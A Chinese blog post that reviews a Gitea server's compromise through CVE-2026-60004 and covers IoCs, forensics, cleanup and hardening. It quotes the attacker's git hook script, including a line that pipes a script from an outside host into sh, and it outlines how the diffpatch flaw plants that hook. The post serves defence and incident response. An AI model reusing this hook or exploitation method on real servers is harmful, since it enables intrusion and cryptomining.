前天晚上阿里云弹了一条安全告警,提示服务器上有异常进程。当时手头正好有事,看了一眼没细究,想着"明天再说"。结果"明天"我登录 Gitea 后台,直接被用户列表吓了一跳:一长串 testpoc 开头的随机账号,随便点开一个,里面挂着同样随机命名的 poc-xxxxx 仓库。
这不是手滑注册的机器人,是服务器已经被人打下来了。
这篇文章记录的是我自己的 Gitea(Gitea Enterprise 24.6.0,Docker 部署)被利用 CVE-2026-60004 植入 XMRig 挖矿木马后的完整复盘:中招表现、排查思路、清除步骤和教训。文中的命令都是本次实测用过的,但请根据自己的环境和路径调整。
中招表现
这次攻击留下的痕迹非常典型,如果你也自建了 Gitea,可以对照检查:
用户列表出现大量
testpoc+五位随机数账号,注册时间集中在几天内,邮箱是testpocxxxxx@test.local这种批量生成的地址:
每个账号下都有一个
poc+随机数的仓库,仓库里除了 README 就只有两个文件:README.md和hooks/post-index-change。仓库里多了一个叫
rce-proof的分支,分支下有一个proof文件。容器进程列表里能看到
./linuxsys和一堆卡死的hooks/post-index-change进程。之前阿里云告警的内容,就是这些挖矿进程。
把仓库里的脚本发给 AI 问了一句
仓库里那个 hooks/post-index-change 我一开始没看懂,只觉得很不对劲。它大概长这样:
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
# ... 找到 origin 仓库的 git 目录 ...
output_blob=$(curl -s -k https://repositoryubuntu.publicvm.com/linuxsh | sh 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
# ... 把命令输出写成 blob,提交,然后 ...
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
看不懂很正常,我直接把脚本丢给 AI:

Codex 很快给出结论——这是 CVE-2026-60004(GHSA-rcr6-4jqh-j84m)的利用 payload,并且服务器上已经执行过了:

脚本的逻辑是:hook 在服务器上执行时,通过 objects/info/alternates 反查到"来源仓库"(也就是攻击者自己的仓库),然后把命令执行结果作为 blob 写进仓库,再创建一个 rce-proof 分支。攻击者随后用 GET /api/v1/repos/<owner>/poc-xxxxx/raw/proof?ref=rce-proof 把输出拉走——这就是"我已经拿到 RCE"的证明。
我们仓库里 proof 文件的实际内容是:
crontab: must be suid to work properly
说明挖矿脚本尝试写 crontab 做持久化,但因为容器里 crontab 没有 suid 位而失败了。真是好险。
排查过程
确认中毒之后,我按"仓库 → 进程 → 日志 → 数据库 → 影响范围"的顺序过了一遍。
1. 先把恶意仓库和分支翻出来
Gitea 的仓库在数据目录下(1Panel 部署时是 /opt/1panel/apps/gitea/gitea/data/git/repositories/),先看有没有 testpoc 目录:
find /opt/1panel/apps/gitea/gitea/data/git/repositories -maxdepth 2 -type d | grep testpoc
再看仓库里的分支和 proof 内容:
git --git-dir=<仓库路径>/poc-xxxxx.git for-each-ref
git --git-dir=<仓库路径>/poc-xxxxx.git cat-file -p 'refs/heads/rce-proof^{tree}'
正常的仓库不会有 rce-proof 分支,也不该有 proof 这个文件。
2. 顺着进程找到挖矿程序
Gitea 跑在 Docker 容器里,直接看容器内的进程:
docker top 1Panel-gitea-osuJ
结果发现除了正常的 gitea web,还有:
admin ... /bin/sh hooks/post-index-change 0 0
admin ... git --git-dir=.../testpoc87960/poc-23584.git hash-object -w --stdin
admin ... ./linuxsys
./linuxsys 就是挖矿程序本体。进程还在跑,二进制可以直接从 /proc/<pid>/exe 提取(进程结束后就没了,要先保存再杀):
cp /proc/<pid>/exe /tmp/linuxsys.bin
strings /tmp/linuxsys.bin | grep -i xmrig
结果确认是 XMRig 6.18.0(Monero 挖矿程序),SHA256:
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab
再看它的网络连接,发现了 3 个外连地址:
103.30.194.78:80
45.32.185.122:3333
178.128.242.134:443
这是挖矿矿池/代理地址。这个套路和公开报告的 Linuxsys 挖矿团伙 一致:利用各类漏洞批量打服务器,然后部署 XMRig。
3. 用访问日志还原完整攻击链
openresty 的访问日志里,攻击者的行为一目了然:
grep -E 'diffpatch|raw/proof|sign_up' 访问日志 | grep 'Aug/2026'
攻击链路是:
POST /user/sign_up 注册 testpoc 随机账号
POST /api/v1/user/repos 创建 poc-xxxxx 仓库
POST /api/v1/repos/.../diffpatch 触发漏洞(关键!)
GET /api/v1/repos/.../raw/proof?ref=rce-proof 拉取命令执行结果
按时间整理出来的攻击者 IP(全是境外 VPS,推测是同一伙人轮换节点):
| 时间 (2026-08) | 来源 IP | 账号 |
|---|---|---|
| 06 02:19 | 172.105.25.90 | testpoc60874(首个) |
| 07 21:10 | 185.148.0.208 | testpoc89617 |
| 11 02:29 | 172.233.44.91 | testpoc85539 |
| 12 06:19~18:28 | 172.235.229.243 | testpoc81407/84892/87960/95017/51520/56033 |
| 13 00:18 | 172.235.229.243 | testpoc93555/46919 |
| 13 04:09 | 103.13.206.65 | testpoc80024 |
| 13 05:27 | 172.234.102.123 | testpoc37242(最后一次) |
也就是说,攻击从 8 月 6 日就开始了,持续了一整周,直到我清理掉。
4. 查数据库,确认账号和令牌
Gitea 的数据库里能看到这些账号的注册时间,以及有没有 API Token、有没有被提权成管理员:
SELECT id, lower_name, is_admin, FROM_UNIXTIME(created_unix) FROM user WHERE lower_name LIKE 'testpoc%';
SELECT id, uid, name FROM access_token;
我这边的情况是:所有 testpoc 账号都是普通用户,没有 API Token,也没有新增管理员。但这不代表仓库数据安全——攻击者拿到的是 Gitea 服务账号的权限,容器内所有仓库对他都是可读的。
5. 评估影响范围:容器 vs 宿主机
这是最需要冷静判断的一步。我检查了容器配置:
docker inspect <gitea容器> --format '{{.HostConfig.Privileged}} {{.HostConfig.CapAdd}} {{json .Mounts}}'
结果是:非特权、没有额外 capability、没有挂载 docker.sock,只挂载了 Gitea 数据目录。再看进程权限 CapEff=0、seccomp 开启。也就是说:
- 攻击者被困在 Gitea 容器里,没有直接逃逸到宿主机;
- 但容器内
/data(全部仓库、配置文件、数据库口令)完全可读写。
宿主机层面我也检查了一遍:/root/.ssh/authorized_keys 为空、没有新增 crontab、没有可疑 systemd 服务、没有新用户。结论是宿主机暂时没发现失陷痕迹,但 Gitea 的私有仓库内容一律按"已泄露"处理。
攻击链复盘
这次的漏洞是 CVE-2026-60004(CVSS 9.8),影响 Gitea 1.17 ~ 1.27.0:
- 攻击者向
diffpatch接口提交一个精心构造的补丁; - 同一个补丁提交两次,触发 add/add 冲突,Git 的三路合并回退会把文件写入仓库的 hook 目录;
- 仓库根目录下的
hooks/post-index-change因此变成了"活的" git hook; - Gitea 在更新索引时执行这个 hook,代码就以 Gitea 服务账号身份运行;
- hook 下载执行
linuxsh/cronsys脚本,部署 XMRig 挖矿,并把执行结果回传到rce-proof分支。
配合 Gitea 默认开放注册,整个利用完全自动化:注册 → 建仓 → 打补丁 → 收 proof,全程无人值守。我的服务器就是在 DISABLE_REGISTRATION = false 的情况下被批量扫到的。
清除步骤
确认范围和清除方法后,我按这个顺序处理:
1. 先保存证据,再杀进程
cp /proc/<linuxsys的pid>/exe /home/admin/ppp/linuxsys.bin # 先取证
docker exec 1Panel-gitea-osuJ pkill -9 -f linuxsys
docker exec 1Panel-gitea-osuJ pkill -9 -f 'hooks/post-index-change'
docker exec 1Panel-gitea-osuJ pkill -9 -f 'hash-object -w --stdin'
杀完之后再 docker top 确认只剩正常的 gitea 进程。
2. 清理残留
Gitea 的临时仓库目录(data/gitea/tmp/local-repo/)里留着两个带恶意 hook 的 upload.git* 目录,取证后删除。我把完整攻击相关的证据(木马样本、恶意仓库副本、访问日志、容器日志、IoC 清单)先打包到一个目录里,下载完之后再删。
3. 删除恶意账号和仓库
在 Gitea 管理后台把 testpoc* 账号全部删除(仓库会跟着删掉)。注意:删账号不会杀掉容器里还在跑的进程,所以顺序上先杀进程再删账号。
4. 关闭开放注册
Gitea 后台没有这个开关,要改配置文件 app.ini:
[service]
DISABLE_REGISTRATION = true
改完重启容器生效。这次入侵的入口就是开放注册,不关掉等于门还开着。
5. 升级版本
CVE-2026-60004 在 Gitea 1.27.1(2026-07-27 发布)中修复。我用的企业版镜像太老,需要升级到包含修复的版本。这一步是治本,杀进程只是治标。
6. 轮换所有密钥
攻击者能读配置文件,所以这些全部要换:
- Gitea 管理员密码;
INTERNAL_TOKEN、LFS_JWT_SECRET、OAuth2JWT_SECRET;- 数据库里 Gitea 账号的口令;
- 仓库里出现过的任何 API Key / 密码 / Token(视为已泄露)。
如果以后再遇到
这次事件给我最大的教训是三个:
- 安全告警不能拖。阿里云前天晚上就告警了,我拖了一天,攻击者在这一天里继续用我的服务器挖矿,还反复尝试了几轮。
- 自建 Gitea 一定要关注册。除非确实需要对外开放注册,否则
DISABLE_REGISTRATION = true是最便宜的一道防线。 - 容器隔离不等于数据安全。就算没逃逸到宿主机,Gitea 自己的数据(所有私有仓库)在攻击者眼里已经是透明的。
以后我会定期检查:
docker top <gitea容器> # 有没有陌生进程
git --git-dir=<仓库> for-each-ref | grep rce-proof # 有没有可疑分支
grep -E 'diffpatch|raw/proof' 访问日志 # 有没有攻击请求
看到 testpoc、diffpatch、raw/proof?ref=rce-proof 这些特征,基本可以直接判定被打了。
最后
这次事件从发现到清完,过程不算复杂,但每一步都验证了"先取证、再处置"的价值:如果没有先把木马二进制和恶意仓库保留下来,后面想分析攻击链就只剩猜了。
也希望读到这篇文章的人不用踩同样的坑:开放注册 + 长期不升级 + 忽略告警,这三样凑齐,被自动化挖矿脚本盯上是迟早的事。